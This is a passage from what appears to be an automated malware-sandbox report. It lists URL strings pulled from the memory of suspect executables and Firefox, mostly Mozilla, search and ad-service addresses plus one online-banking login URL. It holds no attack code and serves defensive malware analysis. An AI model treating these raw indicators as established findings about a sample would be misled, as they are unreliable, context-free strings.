Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79f
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/708/708770-64.png?modified=4f881970
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2957011320.000001DF207C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2949252169.000001DF1FF47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2959294479.000001DF20A93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF20912000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.adjust.com/a8bxj8j?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 00000024.00000003.2476830924.000001DF271B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2956116951.000001DF20629000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: file.exe, 00000000.00000003.1342792101.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2300912245.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2329858713.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2309734224.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2301246829.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2503189441.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357249097.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325565887.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2473488619.00000000013AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1342792101.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2473488619.00000000013AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2935278544.000001DF1EDA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2953297308.000001DF2024D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2962029495.000001DF20C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1170143
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1189266
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1193802
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1207993
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1266220
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1283601
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1678448
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1678942
Source: firefox.exe, 00000024.00000002.2864945025.000001DF1AB65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1817617
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=792480
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=793869
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=806991
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=809550
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=815437
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=840161
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=951422
Source: file.exe, 00000000.00000003.1315402793.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257274069.0000000005747000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257442357.0000000005744000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2403239780.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2402973895.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1315402793.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257274069.0000000005747000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257442357.0000000005744000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2403239780.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2402973895.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1315402793.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257274069.0000000005747000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257442357.0000000005744000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2403239780.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2402973895.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000024.00000003.2405355809.000001DF1EB40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2405966297.000001DF1EB7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B024000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: file.exe, 00000000.00000003.1342792101.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2473488619.00000000013AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1342792101.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2300912245.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2329858713.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2309734224.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2301246829.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2503189441.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357249097.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325565887.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2473488619.00000000013AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000024.00000002.2971880123.000001DF22267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: 76bf5a4dba.exe, 00000014.00000003.2307921520.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, 76bf5a4dba.exe, 00000014.00000002.2348423588.000000000034C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000024.00000003.2405355809.000001DF1EB40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2945767195.000001DF1FD4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2924896477.000001DF1C617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2512690491.000000117E300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2405966297.000001DF1EB7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1315402793.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257274069.0000000005747000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257442357.0000000005744000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2403239780.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2402973895.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1315402793.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257274069.0000000005747000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257442357.0000000005744000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2403239780.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2402973895.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1315402793.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257274069.0000000005747000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257442357.0000000005744000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2403239780.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2402973895.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2494215088.000001DF20967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000024.00000002.2938873150.000001DF1F2B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B024000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000024.00000002.2956116951.000001DF206F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com
Source: firefox.exe, 00000024.00000002.2956116951.000001DF20608000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/
Source: firefox.exe, 00000024.00000002.2956116951.000001DF20603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000002.2968441322.000001DF216F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2968441322.000001DF216F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabControl
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morechrome://global/skin/icons/pocket.svg
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recent-activity-header
Source: firefox.exe, 00000024.00000002.2968441322.000001DF216F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsDisplays
Source: firefox.exe, 00000024.00000003.2405355809.000001DF1EB40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotshandleTopSitesOrganicImpressionStatshandleDiscoverySt
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/uuidjs/uuid#getrandomvalues-not-supported
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B024000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/devtools-compatibility-panel
Source: firefox.exe, 00000024.00000002.2956116951.000001DF20629000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000024.00000002.2926560740.000001DF1C8DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2944704309.000001DF1FC37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2935722606.000001DF1EEEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/oldsync
Source: firefox.exe, 00000024.00000002.2956116951.000001DF206A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/oldsyncS
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2949252169.000001DF1FFC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/relay
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/
Source: firefox.exe, 00000024.00000002.2956116951.000001DF206A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/H
Source: firefox.exe, 00000024.00000002.2956116951.000001DF206A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/HCX
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetry
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryEncountered
Source: firefox.exe, 00000024.00000002.2956116951.000001DF206A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryU
Source: firefox.exe, 00000024.00000002.2956116951.000001DF206A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryUFj
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: 100bc97ff1.exe, 00000013.00000003.2300912245.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2329858713.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2309734224.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2301246829.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2503189441.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357249097.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325565887.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pq
Source: 100bc97ff1.exe, 00000015.00000003.2473488619.00000000013AC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2964896342.000001DF2107E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitsection.highlights.includeDownloadsAllows
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 00000024.00000002.2939626250.000001DF1F438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000024.00000002.2942538324.000001DF1F963000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://activity-stream/lib/RecommendationProvi
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
